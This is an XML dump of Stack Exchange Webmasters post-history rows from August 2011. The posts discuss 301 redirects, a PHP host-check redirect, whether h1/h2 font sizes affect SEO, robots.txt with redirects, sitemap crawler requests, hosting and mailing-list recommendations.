  <row Id="42683" PostHistoryTypeId="2" PostId="17693" RevisionGUID="7e1f84c0-5695-446c-80d3-b44687180b46" CreationDate="2011-08-02T15:48:42.433" UserId="1253" Text="Set up your new domain so that it points to the old content. If you do this properly you should be able to pull up the content with both domains. Then you'll want to do a 301 redirect from the old URLs to the new URLs. This will tell both your users and the search engines that your content has moved to a new domain and to &quot;forget&quot; about the old domain. The 301 redirect will also help you keep your rankings for pages as it does transfer over link juice, etc." />
  <row Id="42684" PostHistoryTypeId="2" PostId="17694" RevisionGUID="a9b4cc71-c6d0-4a3f-98c9-20ef1ddcfb29" CreationDate="2011-08-02T16:10:44.367" UserId="5679" Text="I have a web directory that can be accessed via either http://www.example.com/abc or http://abc.example.com. Same physical directory, same contents, just different addresses.&#xD;&#xA;&#xD;&#xA;I want to redirect to abc.example.com if it is accessed via www.example.com/abc. Can I do it by a simple PHP script?&#xD;&#xA;&#xD;&#xA;The `index.php` will be the contents for either address anyway.&#xD;&#xA;" />
  <row Id="42685" PostHistoryTypeId="1" PostId="17694" RevisionGUID="a9b4cc71-c6d0-4a3f-98c9-20ef1ddcfb29" CreationDate="2011-08-02T16:10:44.367" UserId="5679" Text="Forwarding www.example.com/abc to abc.example.com" />
  <row Id="42686" PostHistoryTypeId="3" PostId="17694" RevisionGUID="a9b4cc71-c6d0-4a3f-98c9-20ef1ddcfb29" CreationDate="2011-08-02T16:10:44.367" UserId="5679" Text="&lt;php&gt;&lt;domain-forwarding&gt;" />
  <row Id="42687" PostHistoryTypeId="17" PostId="17695" RevisionGUID="76a2fea2-cc13-4b59-a384-a2fcb83aead7" CreationDate="2011-08-02T16:45:39.563" UserId="-1" Comment="from http://stackoverflow.com/questions/6915445/is-heading-h1-h2-h3-font-size-relevant-for-seo" Text="" />
  <row Id="42688" PostHistoryTypeId="17" PostId="17696" RevisionGUID="56ffbb62-45b2-48b6-b704-df3577bc5b39" CreationDate="2011-08-02T16:45:39.563" UserId="-1" Comment="from http://stackoverflow.com/questions/6915445/is-heading-h1-h2-h3-font-size-relevant-for-seo" Text="" />
  <row Id="42689" PostHistoryTypeId="2" PostId="17696" RevisionGUID="3b6ffb7d-a8ea-4fce-aee2-d060ac592341" CreationDate="2011-08-02T16:43:15.197" UserId="9341" UserDisplayName="Narnian" Text="I've never read anything to suggest that a search engine checks the font-size defined in your css.  That seems to be shady.&#xD;&#xA;&#xD;&#xA;Check out woorank.com for suggestions and a good overall analysis of your site.  &#xD;&#xA;&#xD;&#xA;Backlinks, text, headers, page names, wikipedia articles, meta description and title tags... Woorank will tell you where you stand right now.&#xD;&#xA;&#xD;&#xA;What is your site?" />
  <row Id="42690" PostHistoryTypeId="2" PostId="17695" RevisionGUID="fb8bde96-3eae-4a5e-af42-c013d44f301b" CreationDate="2011-08-02T16:37:12.903" UserId="9342" UserDisplayName="holodoc" Text="One of our client's SEO agencies has recently began sending a lot of &quot;shady&quot; requests about what should be changed on our client's web site in order to comply to best SEO practices. &#xD;&#xA;&#xD;&#xA;We suspect their attempt to simply justify additional costs however since its one of our most important clients we can't simply ignore any of the requests based just on our previous experience and without solid evidence to confirm otherwise.&#xD;&#xA;&#xD;&#xA;The last request we got was to change all headings (`h1, h2, h3...`) font size values in a way that will follow the header hierarchy (`h1` has to be bigger than `h2`, `h2` has to be bigger than `h3` etc.) because the current web layout has a slightly bigger `font-size` value for `h2` than `h1`.&#xD;&#xA;&#xD;&#xA;This font size permutation was done for pure aesthetic reasons by the agency responsible for designing the new web site and our client fully agrees that it was a good choice. However since SEO is also very important to our client everything that comes from the SEO agency has to be taken very seriously.&#xD;&#xA;&#xD;&#xA;    h1 {&#xD;&#xA;        font-size: 1.1em;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    h2 {&#xD;&#xA;        font-size: 1.2em;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;My question: **is it bad for SEO if `h2` has a greater value of font-size than `h1`?** &#xD;&#xA;&#xD;&#xA;Every resource we came across claims otherwise supporting our long-year experience that its only important to create a good heading hierarchy to represent the importance of various page parts, which is of course done properly.&#xD;&#xA;&#xD;&#xA;We would appreciate any professional insight in this matter and every resource or link is highly appreciated." />
  <row Id="42691" PostHistoryTypeId="1" PostId="17695" RevisionGUID="fb8bde96-3eae-4a5e-af42-c013d44f301b" CreationDate="2011-08-02T16:37:12.903" UserId="9342" UserDisplayName="holodoc" Text="Is heading (h1, h2, h3...) font size relevant for SEO?" />
  <row Id="42692" PostHistoryTypeId="3" PostId="17695" RevisionGUID="fb8bde96-3eae-4a5e-af42-c013d44f301b" CreationDate="2011-08-02T16:37:12.903" UserId="9342" UserDisplayName="holodoc" Text="&lt;seo&gt;" />
  <row Id="42693" PostHistoryTypeId="2" PostId="17697" RevisionGUID="c1813205-4a9e-4557-9fd3-7a1f188defcd" CreationDate="2011-08-02T16:49:48.380" UserId="5694" Text="You can analyze the `$_SERVER['HTTP_HOST']` variable in PHP:&#xD;&#xA;&#xD;&#xA;    if( $_SERVER['HTTP_HOST'] !== 'abc.example.com' ){&#xD;&#xA;        header('Location: http://abc.example.com/', true, 301);&#xD;&#xA;        exit;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;If it's not `abc.example.com` it will redirect to it.&#xD;&#xA;&#xD;&#xA;I guess you can put it into your index.php at the very top." />
  <row Id="42694" PostHistoryTypeId="2" PostId="17698" RevisionGUID="967b36b2-40f2-4c04-827f-c41675fb7b14" CreationDate="2011-08-02T16:50:37.303" UserId="221" Text="It would be much better to configure the webserver to handle this redirection. It is fairly trivial to configure Apache to do something along these lines. If you are using Apache, look up RewriteRule. Most other web servers have comparable features." />
  <row Id="42695" PostHistoryTypeId="5" PostId="17695" RevisionGUID="6bf68053-76bf-4ab9-9de9-ae52c43d74ef" CreationDate="2011-08-02T16:51:01.877" UserId="9342" Comment="added 225 characters in body" Text="One of our client's SEO agencies has recently began sending a lot of &quot;shady&quot; requests about what should be changed on our client's web site in order to comply to best SEO practices. &#xD;&#xA;&#xD;&#xA;We suspect their attempt to simply justify additional costs however since its one of our most important clients we can't simply ignore any of the requests based just on our previous experience and without solid evidence to confirm otherwise.&#xD;&#xA;&#xD;&#xA;The last request we got was to change all headings (`h1, h2, h3...`) font size values in a way that will follow the header hierarchy (`h1` has to be bigger than `h2`, `h2` has to be bigger than `h3` etc.) because the current web layout has a slightly bigger `font-size` value for `h2` than `h1`.&#xD;&#xA;&#xD;&#xA;This font size permutation was done for pure aesthetic reasons by the agency responsible for designing the new web site and our client fully agrees that it was a good choice. However since SEO is also very important to our client everything that comes from the SEO agency has to be taken very seriously.&#xD;&#xA;&#xD;&#xA;    h1 {&#xD;&#xA;        font-size: 1.1em;&#xD;&#xA;    }&#xD;&#xA;    &#xD;&#xA;    h2 {&#xD;&#xA;        font-size: 1.2em;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;My question: **is it bad for SEO if `h2` has a greater value of font-size than `h1`?** &#xD;&#xA;&#xD;&#xA;Every resource we came across claims otherwise supporting our long-year experience that its only important to create a good heading hierarchy to represent the importance of various page parts, which is of course done properly.&#xD;&#xA;&#xD;&#xA;We would appreciate any professional insight in this matter and every resource or link is highly appreciated.&#xD;&#xA;&#xD;&#xA;**EDIT:** I see now that this question was migrated from stackoverflow.com to this website so I apologize if this is a duplicate question however I didn't even know that this website was part of the Stackexchange network. Any info on this subject is still highly appreciated :)" />
  <row Id="42696" PostHistoryTypeId="5" PostId="17691" RevisionGUID="b1dc70b6-af55-4975-a577-bf65e4ae2f9f" CreationDate="2011-08-02T16:55:07.937" UserId="1064" Comment="Typographical corrections, minor rewording for clarity" Text="I have a question regarding how to write robots.txt files for many domains and subdomains with redirects in place.&#xD;&#xA;&#xD;&#xA;We have a hosting account that enacts primary and add-on domains. All of our domains and subdomains, including the primary domain, is redirected via htaccess 301s to their own subdirectories in the primary domain's root directory.&#xD;&#xA;&#xD;&#xA;I'm confused about how I would write the robots.txt for certain directories. First, I wanted to confirm I am right in understanding that for domains *and* subdomains, crawlers will look to the directory that acts as that urls root directory for the crawling rules(robots.txt). Also, that a directory will not be affected by a robots.txt present in their parent directory if the directory has its own domain/subdomain, and that url is the one being accessed by crawlers. (Am pretty sure, but I wanted to confirm I didnt have a fundamentally flawed understanding of robots.txt)&#xD;&#xA;&#xD;&#xA;In the original root directory on the account(where the primary domain was directed before htaccess was put in place) what should the robots.txt contain? When crawlers look to crawl our primary domain, will they look to the original root directory for the robots.txt or will they reference the file contained in the new subdirectory where all the primary domain's site files are located? If so, what should the root's robot.txt include if anything at all. &#xD;&#xA;&#xD;&#xA;Would I be right to include a simple 'disallow: /' for all agents, and then include more specific robots.txt files in each subdirectory with more specific instructions. Would that affect the crawling of the directory where the primary domain is now redirected?&#xD;&#xA;&#xD;&#xA;Any help is greatly appreciated, Thanks!" />
  <row Id="42697" PostHistoryTypeId="4" PostId="17691" RevisionGUID="b1dc70b6-af55-4975-a577-bf65e4ae2f9f" CreationDate="2011-08-02T16:55:07.937" UserId="1064" Comment="Typographical corrections, minor rewording for clarity" Text="Robots.txt practices with .htaccess redirections (inherits)" />
  <row Id="42698" PostHistoryTypeId="17" PostId="17699" RevisionGUID="5e843ff3-c411-4373-b0b5-db33eba87121" CreationDate="2011-08-02T17:41:04.573" UserId="-1" Comment="from http://stackoverflow.com/questions/6915398/website-host-for-uk-business-with-usa-customers" Text="" />
  <row Id="42699" PostHistoryTypeId="2" PostId="17699" RevisionGUID="d203e4ca-03e3-4562-afd4-55478bc85828" CreationDate="2011-08-02T16:33:00.223" UserDisplayName="Dale M. Rollinson" Text="As the title suggests, I would like to know if anyone can recommend a good &amp; reliable hosting company for a business which is based in the UK but receives visitors mostly from Northern America.&#xD;&#xA;&#xD;&#xA;I'm currently using 123-Reg, maybe unsuprisingly they aren't too great at hosting although very cheap. Just lately I have been noticed my site often give up trying to load a page (my code is fine BTW)....the website isn't yet receiving enough visitors to expect this kind of performance.&#xD;&#xA;&#xD;&#xA;I heard good reviews for StaticHost, they're a UK-based host, but maybe I need to choose a USA-based hosting company?&#xD;&#xA;&#xD;&#xA;Thank you for your suggestions." />
  <row Id="42700" PostHistoryTypeId="1" PostId="17699" RevisionGUID="d203e4ca-03e3-4562-afd4-55478bc85828" CreationDate="2011-08-02T16:33:00.223" UserDisplayName="Dale M. Rollinson" Text="Website host for UK Business with USA Customers" />
  <row Id="42701" PostHistoryTypeId="3" PostId="17699" RevisionGUID="d203e4ca-03e3-4562-afd4-55478bc85828" CreationDate="2011-08-02T16:33:00.223" UserDisplayName="Dale M. Rollinson" Text="&lt;web-hosting&gt;" />
  <row Id="42702" PostHistoryTypeId="25" PostId="17695" RevisionGUID="9a046aa1-d676-467d-94de-bda5a16bd74b" CreationDate="2011-08-02T18:34:01.723" Comment="http://twitter.com/#!/StackWebmasters/status/98461569117196289" />
  <row Id="42705" PostHistoryTypeId="5" PostId="17699" RevisionGUID="1428c10f-928e-4602-a550-8e8a378708da" CreationDate="2011-08-02T18:52:11.947" UserId="1253" Comment="modified tags, minor text edits" Text="As the title suggests, I would like to know if anyone can recommend a good &amp; reliable hosting company for a business which is based in the UK but receives visitors mostly from Northern America.&#xD;&#xA;&#xD;&#xA;I'm currently using 123-Reg, maybe unsuprisingly they aren't too great at hosting although very cheap. Just lately I have been noticed my site often give up trying to load a page (my code is fine BTW)....the website isn't yet receiving enough visitors to expect this kind of performance.&#xD;&#xA;&#xD;&#xA;I heard good reviews for StaticHost, they're a UK-based host, but maybe I need to choose a USA-based hosting company?" />
  <row Id="42706" PostHistoryTypeId="6" PostId="17699" RevisionGUID="1428c10f-928e-4602-a550-8e8a378708da" CreationDate="2011-08-02T18:52:11.947" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;" />
  <row Id="42707" PostHistoryTypeId="5" PostId="17696" RevisionGUID="82d33178-685b-47da-a92c-7df188b4095e" CreationDate="2011-08-02T18:53:49.543" UserId="1253" Comment="deleted 20 characters in body" Text="I've never read anything to suggest that a search engine checks the font-size defined in your css.  That seems to be shady.&#xD;&#xA;&#xD;&#xA;Check out woorank.com for suggestions and a good overall analysis of your site.  &#xD;&#xA;&#xD;&#xA;Backlinks, text, headers, page names, wikipedia articles, meta description and title tags... Woorank will tell you where you stand right now.&#xD;&#xA;" />
  <row Id="42708" PostHistoryTypeId="2" PostId="17701" RevisionGUID="255ecacc-cbc4-47c2-a327-c9d0e604e67d" CreationDate="2011-08-02T18:55:57.357" UserId="1253" Text="You should be fine with that. It's understandable that design aesthetics will have sub headings displayed with larger text and page headings. As long as you are using the markup properly and not trying to game the search engines you will have nothing to worry about. Just like `display:none` has legitimate uses and black hat uses, different font sizes in `&lt;hx&gt;` tags do, too. " />
  <row Id="42709" PostHistoryTypeId="2" PostId="17702" RevisionGUID="b0c040e8-e002-40c7-9b9c-05e3d3d87107" CreationDate="2011-08-02T18:57:50.003" UserId="8146" Text="I was wondering if anyone has some reliable news if microsoft is going to open theire publisher network for ad network?" />
  <row Id="42710" PostHistoryTypeId="1" PostId="17702" RevisionGUID="b0c040e8-e002-40c7-9b9c-05e3d3d87107" CreationDate="2011-08-02T18:57:50.003" UserId="8146" Text="Microsoft Publisher network - When it launches?" />
  <row Id="42711" PostHistoryTypeId="3" PostId="17702" RevisionGUID="b0c040e8-e002-40c7-9b9c-05e3d3d87107" CreationDate="2011-08-02T18:57:50.003" UserId="8146" Text="&lt;ads&gt;&lt;microsoft&gt;&lt;publishing&gt;" />
  <row Id="42712" PostHistoryTypeId="10" PostId="16683" RevisionGUID="b8d7ade8-7c0f-494e-89e7-ac0c671ad3c6" CreationDate="2011-08-02T18:57:49.990" UserId="1253" CloseReasonId="7" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="42716" PostHistoryTypeId="2" PostId="17703" RevisionGUID="b79fd028-07fa-4be0-879b-8dd6b3823fde" CreationDate="2011-08-02T19:31:54.500" UserId="3111" Text="[Flattr][1] is a way to receive micropayments.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://flattr.com" />
  <row Id="42717" PostHistoryTypeId="2" PostId="17704" RevisionGUID="d98739c7-b28e-43b1-bc97-764d6b18affd" CreationDate="2011-08-02T20:38:27.420" UserId="9346" Text="I have a sitemap on my site at this location:&#xD;&#xA;&#xD;&#xA;https://www.loveelectronics.co.uk/handlers/sitemap.ashx&#xD;&#xA;&#xD;&#xA;which is referenced in my robots.txt like so:&#xD;&#xA;&#xD;&#xA;    Sitemap: https://www.loveelectronics.co.uk/Handlers/Sitemap.ashx&#xD;&#xA;&#xD;&#xA;For some reason, I keep getting requests for the following files:&#xD;&#xA;&#xD;&#xA;    sitemap.xml&#xD;&#xA;    sitemap-b.xml&#xD;&#xA;    sitemap-g.xml&#xD;&#xA;    sitemap-r.xml&#xD;&#xA;&#xD;&#xA;What does this mean? Why are agents requesting /sitemap.xml when i specify a different path in my robots.txt, and why are they requesting these odd sitemap-?.xml files. I am getting many requests for these files a day, and I'd like to get this cleared up." />
  <row Id="42718" PostHistoryTypeId="1" PostId="17704" RevisionGUID="d98739c7-b28e-43b1-bc97-764d6b18affd" CreationDate="2011-08-02T20:38:27.420" UserId="9346" Text="What are sitemap letters? sitemap-g.xml sitemap-r.xml sitemap-b.xml" />
  <row Id="42719" PostHistoryTypeId="3" PostId="17704" RevisionGUID="d98739c7-b28e-43b1-bc97-764d6b18affd" CreationDate="2011-08-02T20:38:27.420" UserId="9346" Text="&lt;sitemap&gt;" />
  <row Id="42720" PostHistoryTypeId="2" PostId="17705" RevisionGUID="8677992a-2e76-426f-bb50-25d11835bdc4" CreationDate="2011-08-02T21:07:42.387" UserId="4502" Text="You're probably just dealing with a relatively dumb spider.&#xD;&#xA;&#xD;&#xA;`/sitemap.xml` is the &quot;standard&quot; location, which explains that request. Whatever spider/bot is hitting that location is just taking the safe bet. Hopefully, for them anyway, they're also looking at your robots file.&#xD;&#xA;&#xD;&#xA;As for the others, they're not standard names, but most likely just something the spider encountered on another site and stashed for future attempts, eg. &lt;a href=&quot;http://www.lyricspedia.com/sitemapindex.xml&quot;&gt;Lyricspedia's sitemap index&lt;/a&gt; which has some of those same filenames, minus the .gz." />
  <row Id="42721" PostHistoryTypeId="17" PostId="17706" RevisionGUID="f8c787f6-7750-4313-bb28-43fa520a9388" CreationDate="2011-08-02T21:21:41.917" UserId="-1" Comment="from http://stackoverflow.com/questions/6918722/mailing-list-software-app-recommendation" Text="" />
  <row Id="42722" PostHistoryTypeId="2" PostId="17706" RevisionGUID="07bc3556-f0c3-4533-912b-5c743ad2a1a5" CreationDate="2011-08-02T21:15:54.470" UserId="1398" Text="I'm looking for a simple, preferably free app for managing mailing lists.  I'd like to be able to create groups (Users, Employees specifically).  It should be able to produce good looking HTML emails.&#xD;&#xA;&#xD;&#xA;I'm on an PHP/MySQL server, so anything that's online/easy to configure with that would be great.  However, I'd be willing to consider an option which is hosted elsewhere if it was affordable. &#xD;&#xA;&#xD;&#xA;Please only answer if you've used the software before and can truly recommend it.  The two I've been considering thus far are PHPList and Newsberry." />
  <row Id="42723" PostHistoryTypeId="1" PostId="17706" RevisionGUID="07bc3556-f0c3-4533-912b-5c743ad2a1a5" CreationDate="2011-08-02T21:15:54.470" UserId="1398" Text="Mailing List software/app recommendation" />
  <row Id="42724" PostHistoryTypeId="3" PostId="17706" RevisionGUID="07bc3556-f0c3-4533-912b-5c743ad2a1a5" CreationDate="2011-08-02T21:15:54.470" UserId="1398" Text="&lt;php&gt;&lt;email&gt;&lt;web&gt;&lt;mailing-list&gt;" />
  <row Id="42725" PostHistoryTypeId="25" PostId="17704" RevisionGUID="766475ae-07de-4448-98c3-acc47f7c584c" CreationDate="2011-08-02T21:34:02.007" Comment="http://twitter.com/#!/StackWebmasters/status/98506868044988416" />
  <row Id="42726" PostHistoryTypeId="2" PostId="17707" RevisionGUID="2fd43f9b-e981-405d-8cdc-40f312fd6dd9" CreationDate="2011-08-02T21:35:41.990" UserId="9348" Text="Have you looked at this site? I know one of my friends were using this.&#xD;&#xA;http://www.hotscripts.com/category/php/scripts-programs/mailing-list-managers/" />
  <row Id="42727" PostHistoryTypeId="5" PostId="17705" RevisionGUID="7f04062c-4996-47f5-bdef-44a9ef8c7dbf" CreationDate="2011-08-02T22:03:56.753" UserId="4502" Comment="added 113 characters in body" Text="You're probably just dealing with a relatively dumb spider.&#xD;&#xA;&#xD;&#xA;`/sitemap.xml` is the &quot;standard&quot; location, which explains that request. Whatever spider/bot is hitting that location is just taking the safe bet. Hopefully, for them anyway, they're also looking at your robots file.&#xD;&#xA;&#xD;&#xA;As for the others, they're not standard names, but most likely just something the spider encountered on another site and stashed for future attempts, eg. &lt;a href=&quot;http://www.lyricspedia.com/sitemapindex.xml&quot;&gt;Lyricspedia's sitemap index&lt;/a&gt; which has some of those same filenames, minus the .gz. It's possible it was just programmed with a few such patterns, since this one specifically seems kind of likely." />
  <row Id="42728" PostHistoryTypeId="2" PostId="17708" RevisionGUID="9c5cc29f-91cd-4397-be3a-5699259fa307" CreationDate="2011-08-02T22:24:38.950" UserId="5679" Text="I want to integrate the Google Custom Search Engine in my website. I have two layers:&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;left-column&quot;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div id=&quot;right-column&quot;&gt;&lt;/div&gt;&#xD;&#xA;&#xD;&#xA;I want to place the search box in the `left-column` where all other menu links are also placed, while I want to place the results in the `right-column`. However, In the `right-column`, some other contents materials are displayed when search is not used. &#xD;&#xA;&#xD;&#xA;When a search query is input, I want that the results appear in the `right-column`, removing the displayed contents materials.&#xD;&#xA;&#xD;&#xA;I tried&#xD;&#xA;&#xD;&#xA;    customSearchControl.draw('right-column', options);&#xD;&#xA;&#xD;&#xA;when the search box is drawn; but it erased the contents materials.&#xD;&#xA;&#xD;&#xA;How may I do what I want?&#xD;&#xA;" />
  <row Id="42729" PostHistoryTypeId="1" PostId="17708" RevisionGUID="9c5cc29f-91cd-4397-be3a-5699259fa307" CreationDate="2011-08-02T22:24:38.950" UserId="5679" Text="How to display the Google Custom Search results in an existing div?" />
  <row Id="42730" PostHistoryTypeId="3" PostId="17708" RevisionGUID="9c5cc29f-91cd-4397-be3a-5699259fa307" CreationDate="2011-08-02T22:24:38.950" UserId="5679" Text="&lt;google-search&gt;&lt;google-search-api&gt;" />
  <row Id="42731" PostHistoryTypeId="5" PostId="17708" RevisionGUID="1701dd55-1cb5-4984-ade4-ed8c20da9fcb" CreationDate="2011-08-02T22:31:40.177" UserId="5679" Comment="added 2 characters in body" Text="I want to integrate the Google Custom Search Engine in my website. I have two layers:&#xD;&#xA;&#xD;&#xA;    &lt;div id=&quot;left-column&quot;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div id=&quot;right-column&quot;&gt;&lt;/div&gt;&#xD;&#xA;&#xD;&#xA;I want to place the search box in the `left-column` where all other menu links are also placed, while I want to place the results in the `right-column`. However, In the `right-column`, some other contents materials are displayed when search is not used. &#xD;&#xA;&#xD;&#xA;When a search query is input, I want that the results appear in the `right-column`, removing the displayed contents materials.&#xD;&#xA;&#xD;&#xA;I tried&#xD;&#xA;&#xD;&#xA;    customSearchControl.draw('right-column', options);&#xD;&#xA;&#xD;&#xA;when the search box is drawn; but it erased the contents materials.&#xD;&#xA;&#xD;&#xA;How may I do what I want?&#xD;&#xA;&#xD;&#xA;" />
  <row Id="42732" PostHistoryTypeId="17" PostId="17709" RevisionGUID="bf8219d7-6b8e-469f-b511-54f569238d53" CreationDate="2011-08-02T22:33:53.210" UserId="-1" Comment="from http://stackoverflow.com/questions/6915420/how-do-i-find-out-maximum-number-of-visitors-at-one-time-from-google-analytics" Text="" />
  <row Id="42733" PostHistoryTypeId="17" PostId="17710" RevisionGUID="4576d7b5-03ba-4bd7-a6f0-71c6334ead5c" CreationDate="2011-08-02T22:33:53.210" UserId="-1" Comment="from http://stackoverflow.com/questions/6915420/how-do-i-find-out-maximum-number-of-visitors-at-one-time-from-google-analytics" Text="" />
  <row Id="42734" PostHistoryTypeId="2" PostId="17710" RevisionGUID="18d90839-403f-4c01-9951-a85e6683e608" CreationDate="2011-08-02T20:00:33.890" UserId="9238" Text="Looks like by the hour is available.&#xD;&#xA;&#xD;&#xA;**Old version:**&#xD;&#xA;&#xD;&#xA;Under Visitors -&gt; Visitor Trending -&gt; Visits&#xD;&#xA;&#xD;&#xA;Click on the clock to the right of Graph by (under date range).&#xD;&#xA;&#xD;&#xA;**New version:** &#xD;&#xA;&#xD;&#xA;Visitors -&gt; Overview -&gt; Graph by (on right, under date) -&gt; Hour" />
  <row Id="42735" PostHistoryTypeId="2" PostId="17709" RevisionGUID="50a1c2a7-6923-4430-b4db-d7904aed94f7" CreationDate="2011-08-02T16:34:38.757" UserId="8162" Text="I'm not sure if this is even possible in Google Analytics. Is there a way to find out the maximum number of visitors that visited a site within a time period of one minute, or one hour? Or is the data only available per day." />
  <row Id="42736" PostHistoryTypeId="1" PostId="17709" RevisionGUID="50a1c2a7-6923-4430-b4db-d7904aed94f7" CreationDate="2011-08-02T16:34:38.757" UserId="8162" Text="How do I find out maximum number of visitors at one time from Google Analytics?" />
  <row Id="42737" PostHistoryTypeId="3" PostId="17709" RevisionGUID="50a1c2a7-6923-4430-b4db-d7904aed94f7" CreationDate="2011-08-02T16:34:38.757" UserId="8162" Text="&lt;google-analytics&gt;" />
  <row Id="42738" PostHistoryTypeId="5" PostId="8313" RevisionGUID="0aecdfba-b5d0-4524-92c4-6daee1f1f1f3" CreationDate="2011-08-02T22:57:30.440" UserId="4643" Comment="deleted 4637 characters in body; edited title" Text="Sorry, I deleted this question " />
  <row Id="42739" PostHistoryTypeId="4" PostId="8313" RevisionGUID="0aecdfba-b5d0-4524-92c4-6daee1f1f1f3" CreationDate="2011-08-02T22:57:30.440" UserId="4643" Comment="deleted 4637 characters in body; edited title" Text="sorry, I deleted my question" />
  <row Id="42741" PostHistoryTypeId="5" PostId="8445" RevisionGUID="3d78d025-fa59-4117-b21d-bdefcd57e191" CreationDate="2011-08-02T23:04:57.310" UserId="4643" Comment="deleted 3187 characters in body" Text="Sorry, I truncated this question. It is comprehensible from the title " />
  <row Id="42744" PostHistoryTypeId="5" PostId="8393" RevisionGUID="69bc5840-4048-48a5-9d91-0c279e1e0552" CreationDate="2011-08-02T23:08:05.980" UserId="4643" Comment="deleted 147 characters in body" Text="The spam folder in GMail is always hidden and it becomes more and more uncomfortable&#xD;&#xA;How to configure GMail Spam folder to be always visible?  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/2629614/whitelisting-website-email-so-it-is-not-rejected-as-spam/4817290#4817290" />
  <row Id="42745" PostHistoryTypeId="2" PostId="17711" RevisionGUID="88464270-dbbb-4ac5-9644-c9efd367b6e2" CreationDate="2011-08-02T23:38:43.850" UserId="9349" Text="Its perfectly fine to have a larger font size for a lower ranked heading. Furthermore there's no way that search engines could look at penalizing this as there would be no way to distinguish from black hat seo and legitimate design techniques." />
  <row Id="42753" PostHistoryTypeId="10" PostId="17702" RevisionGUID="d14e1c62-0f83-41d2-add6-f0072b125467" CreationDate="2011-08-03T00:21:24.157" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="42754" PostHistoryTypeId="2" PostId="17713" RevisionGUID="ba0a0b97-4950-4d03-9bf9-e1e394c4e2dd" CreationDate="2011-08-03T00:32:30.463" UserId="6390" Text="I have been searching for days. Is there a good crowd funding framework that I could use as the base for a project? Something like a kickstarter clone in Ruby on Rails or PHP?&#xD;&#xA;&#xD;&#xA;There are one or two out there, but they look terrible.&#xD;&#xA;&#xD;&#xA;Thanks, O." />
  <row Id="42755" PostHistoryTypeId="1" PostId="17713" RevisionGUID="ba0a0b97-4950-4d03-9bf9-e1e394c4e2dd" CreationDate="2011-08-03T00:32:30.463" UserId="6390" Text="crowd funding platform?" />
  <row Id="42756" PostHistoryTypeId="3" PostId="17713" RevisionGUID="ba0a0b97-4950-4d03-9bf9-e1e394c4e2dd" CreationDate="2011-08-03T00:32:30.463" UserId="6390" Text="&lt;websites&gt;" />
  <row Id="42757" PostHistoryTypeId="25" PostId="17706" RevisionGUID="1c64d515-a863-4b93-b40c-3706eb3b1ee5" CreationDate="2011-08-03T00:34:02.210" Comment="http://twitter.com/#!/StackWebmasters/status/98552166918266880" />
  <row Id="42758" PostHistoryTypeId="5" PostId="17713" RevisionGUID="f459b720-f46e-4c50-b797-f66c837f0d56" CreationDate="2011-08-03T00:41:03.853" UserId="1253" Comment="deleted 12 characters in body; edited tags" Text="I have been searching for days. Is there a good crowd funding framework that I could use as the base for a project? Something like a kickstarter clone in Ruby on Rails or PHP?&#xD;&#xA;&#xD;&#xA;There are one or two out there, but they look terrible.&#xD;&#xA;" />
  <row Id="42759" PostHistoryTypeId="6" PostId="17713" RevisionGUID="f459b720-f46e-4c50-b797-f66c837f0d56" CreationDate="2011-08-03T00:41:03.853" UserId="1253" Comment="deleted 12 characters in body; edited tags" Text="&lt;looking-for-a-script&gt;" />
  <row Id="42760" PostHistoryTypeId="2" PostId="17714" RevisionGUID="6c5a257b-91f3-40e1-ab63-b23668dcf627" CreationDate="2011-08-03T00:59:36.107" UserId="9351" Text="There's currently no way to do this, unfortunately. All you can do is add your parents as a billing administrator of the account, have them enable the account for billing, and disable it again once you've spent the prescribed amount." />
  <row Id="42761" PostHistoryTypeId="2" PostId="17715" RevisionGUID="ab4f7eb7-37de-4a5a-b619-8c9c1b41984c" CreationDate="2011-08-03T01:07:29.653" UserId="8957" Text="I have a blog ([xyious.blogspot.com][1]) and a website ([xyious.com][2]), i'm developing a tiny cms system for my website while posting some content. I always post the new content to my blog as well as the website for several reasons.&#xD;&#xA;&#xD;&#xA;Now i'm wondering how badly i will be penalized for duplicate content. The website is older than the blog, but never had a whole lot of content, and i obviously want my website to rank higher than the blog in the future when i stop posting on the blog in favor of having a website hosting all the content.&#xD;&#xA;&#xD;&#xA;Do i incur duplicate content penalty, and if so how severe ? Would it be better to stop posting to the blog altogether before the cms is in a state where it displays content correctly and has easy navigation ?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://xyious.blogspot.com&#xD;&#xA;  [2]: http://xyious.com" />
  <row Id="42762" PostHistoryTypeId="1" PostId="17715" RevisionGUID="ab4f7eb7-37de-4a5a-b619-8c9c1b41984c" CreationDate="2011-08-03T01:07:29.653" UserId="8957" Text="duplicate content penalties for cross posting?" />
  <row Id="42763" PostHistoryTypeId="3" PostId="17715" RevisionGUID="ab4f7eb7-37de-4a5a-b619-8c9c1b41984c" CreationDate="2011-08-03T01:07:29.653" UserId="8957" Text="&lt;seo&gt;&lt;duplicate-content&gt;" />
  <row Id="42764" PostHistoryTypeId="2" PostId="17716" RevisionGUID="72c2bf31-db19-4124-84b4-bb16582bd192" CreationDate="2011-08-03T01:26:35.450" UserId="8006" Text="Changing the font sizes to get a better ranking seems baloney to me - it's like painting flames on to a car in the hope it would go faster. &#xD;&#xA;It might be good practice since that's the way headings are supposed to look; but i don't think google will rank you higher or lower just for your choice of font sizes.&#xD;&#xA;Creating backlinks, quality content or reducing the bounce rate on your page seems to be a much better strategy imho." />
